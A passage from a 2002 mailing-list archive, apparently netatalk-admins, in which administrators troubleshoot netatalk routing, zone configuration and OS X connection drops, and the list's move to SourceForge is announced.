	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 09:06:36 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1RE6ZJ00434
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 09:06:35 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1RE6Y700414
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 09:06:34 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.6av) id g1RE68722112;
	Wed, 27 Feb 2002 14:06:08 GMT
	(envelope-from netatalk@epcdirect.co.uk)
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.6av) with ESMTP id g1RE63d22104;
	Wed, 27 Feb 2002 14:06:04 GMT
	(envelope-from netatalk@epcdirect.co.uk)
From: "Lawrence Farr" <netatalk@epcdirect.co.uk>
To: "'Steve Freitas'" <steve@ihonk.com>,
        "'netatalk-admins'" <netatalk-admins@umich.edu>,
        "'Netatalk-devel'" <netatalk-devel@lists.sourceforge.net>
Subject: RE: [Netatalk-devel] Anyone got Quark problems with Netatalk 1.5.2?
Date: Wed, 27 Feb 2002 14:06:24 -0000
Message-ID: <002601c1bf97$f167e790$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <B8A13C97.B60A%steve@ihonk.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by EPC Direct (mail.epcdirect.co.uk)

Are there any new patches for this since Joes initial one?

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: netatalk-devel-admin@lists.sourceforge.net 
> [mailto:netatalk-devel-admin@lists.sourceforge.net] On Behalf 
> Of Steve Freitas
> Sent: 26 February 2002 21:23
> To: netatalk-admins; Netatalk-devel
> Subject: [Netatalk-devel] Anyone got Quark problems with 
> Netatalk 1.5.2?
> 
> 
> Please let me know if you have Quark problems with Netatalk 
> 1.5.2. I need a
> user or two to talk to a Quark contact to help narrow down 
> the problems.
> 
> Thanks,
> 
> Steve
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 


From netatalk.administrators-errors@umich.edu  Wed Feb 27 09:58:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16739
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 09:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 09:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04664
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 09:58:19 -0500 (EST)
Received: from agnostix.bangor.ac.uk (agnostix.bangor.ac.uk [147.143.2.39])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04645
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 09:58:18 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by agnostix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1REwHOd024874
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 14:58:17 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1REwGh11157
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 14:58:16 GMT
Date: Wed, 27 Feb 2002 14:58:16 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: <netatalk-admins@umich.edu>
Subject: routing netatalk under Solaris 
Message-ID: <Pine.SOL.4.30.0202271444520.26528-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

we're running Solaris 8 and netatalk-1.5.2 and I'm failing to convince the
machine to root across network interfaces. If I use CAP/uar it works, but
we need to move away from CAP.

atalkd.conf looks like:

  le0 -phase 2 -net 257-266 -addr 260.162 -zone "Adeliad-Deiniol"
  qe1 -seed -phase 2 -net 66-67 -addr 66.1 -zone "ZZZ"

getzones displays the new "ZZZ" zone and the AppleMac on that zone sees
all other zones. However, the AppleMac can't see any other machines in any
other zone, and the other macs can't see the mac in the "ZZZ" zone. So I
assume that netatalk isn't routing. What am I doing wrong?

nbplkup only shows those machines on le0, "Adeliad-Deiniol".

Sim

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Wed Feb 27 10:33:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA18628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 10:33:37 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1RFXbC20552
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 10:33:37 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1RFXaa20545
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 10:33:36 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1RFXZn20525
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 10:33:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA25995;
	Wed, 27 Feb 2002 17:00:32 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 27 Feb 2002 16:33:15 +0100
Subject: Re: routing netatalk under Solaris 
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "S.Barbaresi" <iss033@bangor.ac.uk>, <netatalk-admins@umich.edu>
Message-ID: <B8A2BACA.1CA15%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.SOL.4.30.0202271444520.26528-100000@publix>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 27 Feb 2002 14:58:16 +0000 (GMT), S.Barbaresi wrote:

> le0 -phase 2 -net 257-266 -addr 260.162 -zone "Adeliad-Deiniol"

As there is no -seed switch, is there another router present that supplies
this segment with routing information?

> qe1 -seed -phase 2 -net 66-67 -addr 66.1 -zone "ZZZ"

Are there any messages regarding atalkd in syslog?

> getzones displays the new "ZZZ" zone and the AppleMac on that zone sees
> all other zones. 

What do you mean with '*all* other zones'? Are there more than
"Adeliad-Deiniol"?

> However, the AppleMac can't see any other machines in any other zone, and
> the other macs can't see the mac in the "ZZZ" zone. So I assume that netatalk
> isn't routing. What am I doing wrong?
> 
> nbplkup only shows those machines on le0, "Adeliad-Deiniol".

And what does a nbplkup "@ZZZ" say?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 27 10:51:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA19420
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 10:51:20 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1RFpK824763
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 10:51:20 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1RFpJM24761
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 10:51:19 -0500 (EST)
Received: from agnostix.bangor.ac.uk (agnostix.bangor.ac.uk [147.143.2.39])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1RFpIJ24743
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 10:51:18 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by agnostix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1RFokOd026944;
	Wed, 27 Feb 2002 15:50:59 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1RFojh00586;
	Wed, 27 Feb 2002 15:50:45 GMT
Date: Wed, 27 Feb 2002 15:50:45 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: routing netatalk under Solaris 
In-Reply-To: <B8A2BACA.1CA15%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.SOL.4.30.0202271542010.26528-200000@publix>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-992951867-1014825045=:26528"

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-992951867-1014825045=:26528
Content-Type: TEXT/PLAIN; charset=US-ASCII

> > le0 -phase 2 -net 257-266 -addr 260.162 -zone "Adeliad-Deiniol"
> As there is no -seed switch, is there another router present that supplies
> this segment with routing information?

We run CAP/uar on our other Sun servers which act as routers, so "yes"
there are other routers present.

> > qe1 -seed -phase 2 -net 66-67 -addr 66.1 -zone "ZZZ"
> Are there any messages regarding atalkd in syslog?

I've attached the syslog.

> What do you mean with '*all* other zones'? Are there more than
> "Adeliad-Deiniol"?

Yes. Each routed network has a zone attached to it. getzones returns all
the zones.

> > nbplkup only shows those machines on le0, "Adeliad-Deiniol".
> And what does a nbplkup "@ZZZ" say?

nbplkup "@ZZZ" produces nothing!

Sim

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK

---559023410-992951867-1014825045=:26528
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=messages
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.SOL.4.30.0202271550450.26528@publix>
Content-Description: 
Content-Disposition: attachment; filename=messages

RmViIDI3IDE1OjQ2OjA0IHBzeWNob3BhZiBhdGFsa2RbMjU1OF06IFtJRCA0
NDE1OTEgdXNlci5pbmZvXSBwbHVtYmVkIC9kZXYvbGUwDQpGZWIgMjcgMTU6
NDY6MDQgcHN5Y2hvcGFmIGF0YWxrZFsyNTU4XTogW0lEIDQ0MTU5MSB1c2Vy
LmluZm9dIHBsdW1iZWQgL2Rldi9xZTENCkZlYiAyNyAxNTo0NjowNCBwc3lj
aG9wYWYgYXRhbGtkWzI1NTldOiBbSUQgNjAyNjEwIGRhZW1vbi5pbmZvXSBy
ZXN0YXJ0ICgxLjUuMikNCkZlYiAyNyAxNTo0NjowNCBwc3ljaG9wYWYgYXRh
bGtkWzI1NTldOiBbSUQgNDMwNjkwIGRhZW1vbi5pbmZvXSBzZXRzb2Nrb3B0
IGluY29tcGF0aWJsZSB3LyBTb2xhcmlzIFNUUkVBTVMgbW9kdWxlLg0KRmVi
IDI3IDE1OjQ2OjA2IHBzeWNob3BhZiBsYXN0IG1lc3NhZ2UgcmVwZWF0ZWQg
MSB0aW1lDQpGZWIgMjcgMTU6NDY6MDYgcHN5Y2hvcGFmIGF0YWxrZFsyNTU5
XTogW0lEIDg3NTA3NSBkYWVtb24uaW5mb10gemlwX2dldG5ldGluZm8gZm9y
IGxlMA0KRmViIDI3IDE1OjQ2OjA2IHBzeWNob3BhZiBhdGFsa2RbMjU1OV06
IFtJRCAzOTAxNjggZGFlbW9uLmRlYnVnXSB6aXAgZ25pcmVwbHkgZnJvbSAy
NTcuMjUzIChsZTAgNDEyKQ0KRmViIDI3IDE1OjQ2OjA2IHBzeWNob3BhZiBh
dGFsa2RbMjU1OV06IFtJRCA3OTU1MzUgZGFlbW9uLmluZm9dIHppcF9wYWNr
ZXQgY29uZmlndXJlZCBsZTAgZnJvbSAyNTcuMjUzDQpGZWIgMjcgMTU6NDY6
MDggcHN5Y2hvcGFmIGF0YWxrZFsyNTU5XTogW0lEIDQzMDY5MCBkYWVtb24u
aW5mb10gc2V0c29ja29wdCBpbmNvbXBhdGlibGUgdy8gU29sYXJpcyBTVFJF
QU1TIG1vZHVsZS4NCkZlYiAyNyAxNTo0NjowOCBwc3ljaG9wYWYgYXRhbGtk
WzI1NTldOiBbSUQgODc1MDc1IGRhZW1vbi5pbmZvXSB6aXBfZ2V0bmV0aW5m
byBmb3IgcWUxDQpGZWIgMjcgMTU6NDY6MTAgcHN5Y2hvcGFmIGF0YWxrZFsy
NTU5XTogW0lEIDkzOTgwMCBkYWVtb24uaW5mb10gcnRtcF9wYWNrZXQgZ2F0
ZXdheSAyNTcuMjUzIHVwDQpGZWIgMjcgMTU6NDY6MTQgcHN5Y2hvcGFmIGF0
YWxrZFsyNTU5XTogW0lEIDg3NTA3NSBkYWVtb24uaW5mb10gemlwX2dldG5l
dGluZm8gZm9yIHFlMQ0KRmViIDI3IDE1OjQ2OjI0IHBzeWNob3BhZiBsYXN0
IG1lc3NhZ2UgcmVwZWF0ZWQgMSB0aW1lDQpGZWIgMjcgMTU6NDY6MzQgcHN5
Y2hvcGFmIGF0YWxrZFsyNTU5XTogW0lEIDg4MjI4NSBkYWVtb24uaW5mb10g
YXNfdGltZXIgY29uZmlndXJlZCBxZTEgcGhhc2UgMiBmcm9tIHNlZWQNCkZl
YiAyNyAxNTo0NjozNCBwc3ljaG9wYWYgYXRhbGtkWzI1NTldOiBbSUQgMTI4
MjQ3IGRhZW1vbi5pbmZvXSByZWFkeSAwLzAvMA0KRmViIDI3IDE1OjQ2OjQ3
IHBzeWNob3BhZiBwYXBkWzI1NjldOiBbSUQgNjAyNjEwIGxwci5pbmZvXSBy
ZXN0YXJ0ICgxLjUuMikNCkZlYiAyNyAxNTo0Njo1NCBwc3ljaG9wYWYgYWZw
ZFsyNTcxXTogW0lEIDIzNTE3OSBkYWVtb24uaW5mb10gcHN5Y2hvcGFmIG5l
dGF0YWxrIGxlMDpBRlBTZXJ2ZXJAKiBzdGFydGVkIG9uIDI2MC4xNjI6MTI4
ICgxLjUuMikNCkZlYiAyNyAxNTo0Njo1NCBwc3ljaG9wYWYgYWZwZFsyNTcx
XTogW0lEIDk1MDQ3NCBkYWVtb24uaW5mb10gQVNJUCBzdGFydGVkIG9uIDE0
Ny4xNDMuMS41OjU0OCgyKSAoMS41LjIpDQpGZWIgMjcgMTU6NDY6NTQgcHN5
Y2hvcGFmIGFmcGRbMjU3MV06IFtJRCAxNDIyOTUgZGFlbW9uLmRlYnVnXSB1
YW06IGxvYWRpbmcgKC91c3IvbG9jYWwvYXRhbGsvZXRjL25ldGF0YWxrL3Vh
bXMvdWFtc19jbHJ0eHQuc28pDQpGZWIgMjcgMTU6NDY6NTQgcHN5Y2hvcGFm
IGFmcGRbMjU3MV06IFtJRCAzOTgxNzcgZGFlbW9uLmluZm9dIHVhbTogdWFt
c19jbHJ0eHQuc28gbG9hZGVkDQpGZWIgMjcgMTU6NDY6NTQgcHN5Y2hvcGFm
IGFmcGRbMjU3MV06IFtJRCA2Nzk4NDEgZGFlbW9uLmluZm9dIHVhbTogIkNs
ZWFydHh0IFBhc3N3cmQiIGF2YWlsYWJsZQ0KRmViIDI3IDE1OjQ3OjA0IHBz
eWNob3BhZiBhdGFsa2RbMjU1OV06IFtJRCAyMDc4NjAgZGFlbW9uLmluZm9d
IHJ0bXBfZnJlZTogNjYtNjcNCg==
---559023410-992951867-1014825045=:26528--

From netatalk.administrators-errors@umich.edu  Wed Feb 27 11:15:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA20772
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 11:15:07 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1RGF6d17070
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 11:15:06 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1RGF6f17064
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 11:15:06 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by giblues.mr.itd.umich.edu (3.6u) with SMTP id g1RGF5n17050
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 11:15:05 -0500 (EST)
Received: (qmail 2068 invoked by alias); 27 Feb 2002 16:11:34 -0000
Received: (qmail 2059 invoked from network); 27 Feb 2002 16:11:34 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 27 Feb 2002 16:11:34 -0000
Subject: [ANNOUNCE] This List Will Be Moving
From: Matthew Keller <kellermg@potsdam.edu>
To: netatalk-admins@umich.edu
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 27 Feb 2002 11:14:55 -0500
Message-Id: <1014826496.2055.9.camel@comp10574>
Mime-Version: 1.0

FYI:

Current subscribers to this list will be auto-subscribed to the new
list, residing at netatalk-admins@sourceforge.net. I believe that our
long-time, gracious host UMICH plans on forwarding mail send to the
former to the latter for a period of time, but your assistance is
requested in updating your addressbooks after the migration. Although I
don't have a firm date yet, I expect the transition to be early next
week. I know some people have philosophical grievances with the
SourceForge project, and I apologize for "demonizing" this list by
moving it there. You will not be required to join SourceForge in order
to participate in this list. 

The Netatalk development team has been working off of that site for
quite a while now, and we've had no problems that we couldn't get
resolved quickly. We feel it is an adequate service for this list as
well.

The University of Michigan has been very gracious in hosting this list
as long as I've been on it (5 years I think) and probably much much
longer. I want to thank the University and their various admins for they
efforts in keeping this list alive, and aiding with the migration to its
new home.

Questions/comments/concerns can be sent to me (offlist, please). The
inevitable flood of negativity may delay my responses to everyone.
Apologies in advance for that.
	
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Feb 27 12:26:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA25247
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 12:26:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1RHQcS01856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 12:26:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1RHQbK01850
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 12:26:37 -0500 (EST)
Received: from web.arcosanti.org ([216.19.47.35])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1RHQaE01838
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 12:26:36 -0500 (EST)
Received: from [192.168.0.18] (firewall [216.19.47.34])
	by web.arcosanti.org (8.11.6/8.11.0) with ESMTP id g1RHRJw09517
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 10:27:19 -0700 (MST)
	(envelope-from ais@arcosanti.org)
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Wed, 27 Feb 2002 10:26:24 -0700
Subject: OS X and Netatalk
From: "Ivan Fritz, AIS" <ais@arcosanti.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B8A264D0.CA3%ais@arcosanti.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit



Hello,

        I recently upgraded to RedHat linux 7.2 and am running netatalk
(althogh to be honest I'm not sure which version- either 1.3 or 1.4b2).
Netatalk used to work with OS X, but now when I try to connect with my OSX
machine it will log me in, give me my selection of shares, but then
disconnect right before it actually mounts.  The log gives me this error:

Feb 27 08:37:05 arcosvr afpd[9671]: login ivan (uid 500, gid 501)
Feb 27 08:37:15 arcosvr afpd[9671]: dsi_stream_read(0): Invalid argument
Feb 27 08:37:15 arcosvr PAM_pwdb[9671]: (netatalk) session closed for user
ivan
Feb 27 08:37:15 arcosvr afpd[9671]: 0.82KB read, 8.90KB written
Feb 27 08:37:15 arcosvr afpd[9671]: Connection terminated
Feb 27 08:37:15 arcosvr afpd[921]: server_child[1] 9671 exited 1


    Everything works fine with the 30+ OS 9 clients..... Anyone have any
ideas?  

Thanks!

-Ivan


From netatalk.administrators-errors@umich.edu  Wed Feb 27 13:40:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA28586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 13:40:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1RIecG17039
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 13:40:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1RIec817030
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 13:40:38 -0500 (EST)
Received: from wilson.acpub.duke.edu (wilson.acpub.duke.edu [152.3.233.69])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1RIebE17026
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 13:40:37 -0500 (EST)
Received: from [152.16.196.61] (dhcp-16-196-61.studentaffairs.duke.edu [152.16.196.61]) 
	by wilson.acpub.duke.edu (8.11.5/8.11.3/Duke-5.0.0) with ESMTP id g1RIeEX17211;
	Wed, 27 Feb 2002 13:40:14 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.3.1725
Date: Wed, 27 Feb 2002 13:40:11 -0500
Subject: Re: OS X and Netatalk
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8A2923B.8429%kyle.johnson@duke.edu>
In-Reply-To: <B8A264D0.CA3%ais@arcosanti.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Virus-Scanned: by amavisd-milter, Duke University (http://amavis.org/)

On 2/27/02 12:26 PM, "Ivan Fritz, AIS" <ais@arcosanti.org> wrote:

>       I recently upgraded to RedHat linux 7.2 and am running netatalk
> (althogh to be honest I'm not sure which version- either 1.3 or 1.4b2).
> Netatalk used to work with OS X, but now when I try to connect with my OSX
> machine it will log me in, give me my selection of shares, but then
> disconnect right before it actually mounts.  The log gives me this error:

Some folks see this problem, some don't, although those that do seem to have
the problem are mostly Linux Netatalk folks.  For us here, adding a login
message worked around the problem.  In afpd.conf add -loginmesg "Your
message here." down where the other options are at the bottom.

Since I'm not sure if there is an archive of the list, I'm going to repost
something I posted a couple of weeks ago regarding this.  Since I wrote it I
have gotten the issue escalated at Apple (sort of), as it looks like it
might be an OSX AFP client issue (or something *really* weird with Linux).

---
Just this morning I asked just the same thing.  The one big one seems to be
that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I get a
disconnect message right after the connect.  One of our Linux geeks sent me
this link:

<http://marc.theaimsgroup.com/?l=netatalk&m=101290312429385&w=2>

It basically steps through how to get logging going to test.  The odd thing
was that I was able to get the Netatalk volume mounted using the CLI, but
not the GUI.  I took both logs and have forwarded them to our Apple SE to
see if he can get it escalated.  BTW, the message speaks of launching the
Finder from the CLI, but doesn't give the command, so here it is:

%/System/Library/CoreServices/Finder.app/Contents/MacOS/./Finder

The really thing I discovered was that not only can I mount the volume using
the CLI, but I can also do it from the Classic Chooser (and have the volumes
available to OSX apps).
---

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
Will build Internet Services for food.


From netatalk.administrators-errors@umich.edu  Wed Feb 27 14:46:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA02779
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 14:46:51 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1RJkoJ15910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 14:46:50 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1RJkoc15907
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 14:46:50 -0500 (EST)
Received: from news.dmv-franzis.de (poing.dmv-franzis.de [212.14.72.178])
	by bluehawaii.mr.itd.umich.edu (3.6u) with SMTP id g1RJknm15889
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 14:46:49 -0500 (EST)
Received: from SMTP01 by news.dmv-franzis.de
          via smtpd (for bluehawaii.mr.itd.umich.edu [141.211.14.32]) with SMTP; 27 Feb 2002 19:46:54 UT
Received: from [172.29.11.3] [172.29.11.3]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.4.R)
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 20:46:57 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 27 Feb 2002 20:42:05 +0100
Subject: Re: zone setting in netatalk-1.5.2
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8A2F51D.2E3DD%ts@visual-s.de>
In-Reply-To: <000e01c1bf5a$ad09d870$a1021eac@pywang4dom.falconstor.com.tw>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.3
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 2002-02-27 07:47 +0100, Sophie <sophie@ms2.hinet.net> wrote:

> I only have one NIC and set the zone info in atalkd.conf as:
> 
> eth0 -router -phase 2 -net 0-65534 -addr 65280.81 -zone "myzone"
> 
> I can see that zone existed from my iBook, but only for several seconds.
> Then the zone disappeared. Why? Can I run a router on a machine with
> only one NIC?

You are jamming all possible nets into a single zone, therefore
nothing is left to be routed ...
What happens if you narrow down the net range,
for example -net 66-67?


-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Wed Feb 27 15:44:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA07045
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 15:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1RKi2R01889
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 15:44:02 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1RKi2101880
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 15:44:02 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with SMTP id g1RKhu601806
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 15:44:01 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 27 Feb 2002 12:44:21 -0800
Message-Id: <sc7cd4a5.018@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 27 Feb 2002 12:43:54 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
